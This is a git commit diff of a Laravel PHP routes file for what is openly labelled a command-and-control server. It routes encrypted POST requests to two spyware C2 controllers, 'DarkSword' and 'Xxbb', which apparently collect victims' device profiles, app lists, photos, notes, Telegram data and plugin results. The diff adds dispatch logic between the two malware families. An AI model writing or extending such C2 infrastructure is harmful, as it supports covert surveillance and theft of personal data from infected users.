This commit is contained in:
hashbro
2026-08-24 06:23:07 +08:00
parent c00396dc1f
commit db574cc629
114 changed files with 108297 additions and 266 deletions
+27 -13
View File
@@ -1,21 +1,35 @@
<?php
use App\Http\Controllers\C2\DarkSwordC2Controller;
use App\Http\Controllers\C2\XxbbC2Controller;
use App\Http\Middleware\DecryptXxbbBody;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Route;
Route::match(['GET', 'HEAD'], '/vhx', [XxbbC2Controller::class, 'vhx']);
$ds = DarkSwordC2Controller::class;
$xxbb = XxbbC2Controller::class;
Route::middleware([DecryptXxbbBody::class])->group(function () {
Route::post('/a', [XxbbC2Controller::class, 'profile']);
Route::post('/u', [XxbbC2Controller::class, 'apps']);
Route::post('/event', [XxbbC2Controller::class, 'event']);
Route::post('/t', [XxbbC2Controller::class, 'photos']);
Route::post('/nb', [XxbbC2Controller::class, 'notes']);
Route::post('/uj', [XxbbC2Controller::class, 'plugin']);
Route::post('/us', [XxbbC2Controller::class, 'plugin']);
Route::post('/ub', [XxbbC2Controller::class, 'plugin']);
Route::post('/ba', [XxbbC2Controller::class, 'plugin']);
Route::post('/result', [XxbbC2Controller::class, 'plugin']);
Route::post('/api/tg/t', [XxbbC2Controller::class, 'telegram']);
$dsOrXxbb = static function (string $dsMethod, string $xxbbMethod) use ($ds, $xxbb) {
return static function (Request $request) use ($ds, $dsMethod, $xxbb, $xxbbMethod) {
return DarkSwordC2Controller::matches($request)
? app($ds)->{$dsMethod}($request)
: app($xxbb)->{$xxbbMethod}($request);
};
};
Route::match(['GET', 'HEAD'], '/vhx', [$xxbb, 'vhx']);
Route::middleware([DecryptXxbbBody::class])->group(function () use ($dsOrXxbb, $xxbb) {
Route::post('/a', $dsOrXxbb('profile', 'profile'));
Route::post('/u', $dsOrXxbb('apps', 'apps'));
Route::post('/event', $dsOrXxbb('event', 'event'));
Route::post('/nb', $dsOrXxbb('notes', 'notes'));
Route::post('/result', $dsOrXxbb('result', 'plugin'));
Route::post('/t', [$xxbb, 'photos']);
Route::post('/uj', [$xxbb, 'plugin']);
Route::post('/us', [$xxbb, 'plugin']);
Route::post('/ub', [$xxbb, 'plugin']);
Route::post('/ba', [$xxbb, 'plugin']);
Route::post('/api/tg/t', [$xxbb, 'telegram']);
});